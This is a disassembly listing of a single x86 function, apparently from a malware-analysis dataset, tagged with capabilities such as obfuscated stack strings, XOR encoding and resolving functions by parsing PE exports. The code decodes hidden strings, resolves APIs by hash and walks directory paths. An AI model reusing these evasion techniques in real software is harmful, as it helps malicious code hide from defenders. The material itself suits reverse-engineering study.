Function at 0x40f980
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x314
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov dword [esp + 0x14], 0x858584ac
mov dword [esp + 0x18], 0x998ccb8a
xor ecx, ecx
mov dword [esp + 0x1c], 0xa8cb898a
mov dword [esp + 0x20], 0x86849983
mov dword [esp + 0x24], 0xa9869e82
mov dword [esp + 0x28], 0x989c8499
mov dword [esp + 0x2c], 0xe198998e
mov al, byte [esp + ecx + 0x14]
xor al, 0xeb
mov byte [esp + ecx + 0xd4], al
inc ecx
cmp ecx, 0x1c
jl 0x40f9c6
lea eax, [esp + 0xd4]
mov byte [esp + 0xf0], 0
push eax
call fcn.00412606
cmp byte [edi + 2], 0
pop ecx
jne 0x40fa16
cmp byte [edi + 1], 0
jne 0x40fa16
cmp byte [edi + 4], 0
jne 0x40fa16
cmp byte [edi + 6], 0
jne 0x40fa16
cmp byte [edi + 3], 0
jne 0x40fa16
cmp byte [edi], 0
je 0x40fdb0
xor ecx, ecx
call fcn.00418e22
mov ebx, eax
mov dword [esp + 0xd0], ebx
test ebx, ebx
je 0x40fc1e
mov dword [esp + 0x34], 0x99849eb5
xor ecx, ecx
mov dword [esp + 0x38], 0x9b839f9b
mov dword [esp + 0x3c], 0x998494d6
mov dword [esp + 0x40], 0x84938581
mov dword [esp + 0x44], 0x9786d685
mov dword [esp + 0x48], 0xd6859e82
mov dword [esp + 0x4c], 0x93849381
mov dword [esp + 0x50], 0x829384d6
mov dword [esp + 0x54], 0x80939f84
mov word [esp + 0x58], 0x9293
mov byte [esp + 0x5a], 0xfc
mov al, byte [esp + ecx + 0x34]
xor al, 0xf6
mov byte [esp + ecx + 0xa8], al
inc ecx
cmp ecx, 0x27
jl 0x40fa84
lea eax, [esp + 0xa8]
mov byte [esp + 0xcf], 0
push eax
call fcn.00412606
xor ebp, ebp
cmp byte [edi + 6], 0
pop ecx
je 0x40fb21
mov dword [esp + 0x14], 0x71808451
xor ecx, ecx
mov dword [esp + 0x18], 0x7b757f7a
mov dword [esp + 0x1c], 0x832c7f7a
mov dword [esp + 0x20], 0x2c717e71
mov dword [esp + 0x24], 0x7e80717e
mov dword [esp + 0x28], 0x71827175
mov word [esp + 0x2c], 0x1670
mov al, byte [esp + ecx + 0x14]
sub al, 0xc
mov byte [esp + ecx + 0x8c], al
inc ecx
cmp ecx, 0x1a
jl 0x40faee
lea eax, [esp + 0x8c]
mov byte [esp + 0xa6], 0
push eax
call fcn.00412606
pop ecx
push 2
pop ecx
call fcn.00418e22
mov ebp, eax
push 0x1000
call fcn.0040570b
mov esi, eax
pop ecx
test esi, esi
je 0x40fc12
push 0x7c
pop eax
mov word [esp + 0x30], ax
xor eax, eax
and dword [esp + 0x88], eax
mov word [esp + 0x32], ax
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x34]
push eax
push ebx
call fcn.004057dc
add esp, 0xc
test eax, eax
je 0x40fc0b
push 0x5c
pop ebx
push eax
lea eax, [esp + 0x124]
xor ecx, ecx
push eax
mov edx, 0xf89245cb
inc ecx
call fcn.00412cbc
call eax
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x34]
push eax
push 0
call fcn.004057dc
add esp, 0xc
xor ecx, ecx
mov edx, 0x5060ff33
inc ecx
push 0x800
push esi
push eax
call fcn.00412cbc
call eax
test eax, eax
je 0x40fbe5
push esi
call fcn.0040581e
pop ecx
movzx ecx, word [esi + eax*2 - 2]
cmp cx, bx
je 0x40fbcc
cmp ecx, 0x2f
jne 0x40fbd3
xor ecx, ecx
mov word [esi + eax*2 - 2], cx
push ebp
push esi
lea edx, [esp + 0x128]
mov ecx, edi
call fcn.0040fdbb
pop ecx
pop ecx
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x34]
push eax
push 0
call fcn.004057dc
add esp, 0xc
test eax, eax
jne 0x40fb6d
mov ebx, dword [esp + 0xd0]
push esi
call fcn.004056f0
pop ecx
push ebx
call fcn.004056f0
pop ecx
jmp 0x40fdb0
push 0x5c
pop ebx
xor edx, edx
mov word [esp + 0xa8], 0x101
mov byte [esp + 0xaa], 0x73
mov ecx, edx
mov byte [esp + 0xab], bl
mov dword [esp + 0xac], 0x434e4a5b
mov dword [esp + 0xb0], 0x4c735d4a
mov dword [esp + 0xb4], 0x42405d47
mov dword [esp + 0xb8], 0x4d425a46
mov word [esp + 0xbc], 0x405d
mov byte [esp + 0xbe], 0x58
mov byte [esp + 0xbf], bl
mov word [esp + 0xc0], 0x5d4a
mov byte [esp + 0xc2], bl
mov dword [esp + 0xc3], 0x5f5f4c01
mov al, byte [esp + ecx + 0xa8]
xor al, 0x2f
mov byte [esp + ecx + 0x34], al
inc ecx
cmp ecx, 0x1f
jl 0x40fc9f
mov byte [esp + 0x53], dl
mov ecx, edx
mov dword [esp + 0x8c], 0x919b94bd
mov dword [esp + 0x90], 0x9db69099
mov dword [esp + 0x94], 0x9c989a87
mov dword [esp + 0x98], 0x87b79880
mov dword [esp + 0x9c], 0x9086829a
mov word [esp + 0xa0], 0x8687
mov al, byte [esp + ecx + 0x8c]
xor al, 0xf5
mov byte [esp + ecx + 0x14], al
inc ecx
cmp ecx, 0x16
jl 0x40fcf9
mov byte [esp + 0x2a], dl
mov ecx, edx
mov dword [esp + 0x5c], 0xc1c4cceb
mov dword [esp + 0x60], 0xd98dc9c8
mov dword [esp + 0x64], 0xc8df8dc2
mov dword [esp + 0x68], 0xc8c4dfd9
mov dword [esp + 0x6c], 0xce8dc8db
mov dword [esp + 0x70], 0xc0c2dfc5
mov dword [esp + 0x74], 0x8dc0d8c4
mov dword [esp + 0x78], 0xdac2dfcf
mov dword [esp + 0x7c], 0xdedfc8de
mov dword [esp + 0x80], 0xd9ccdd8d
mov word [esp + 0x84], 0xdec5
mov byte [esp + 0x86], 0xa7
mov al, byte [esp + ecx + 0x5c]
xor al, 0xad
mov byte [esp + ecx + 0xf4], al
inc ecx
cmp ecx, 0x2b
jl 0x40fd77
lea eax, [esp + 0xf4]
mov byte [esp + 0x11f], dl
push eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x3c]
push 0x270
push eax
call fcn.00412723
add esp, 0x10
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x314
ret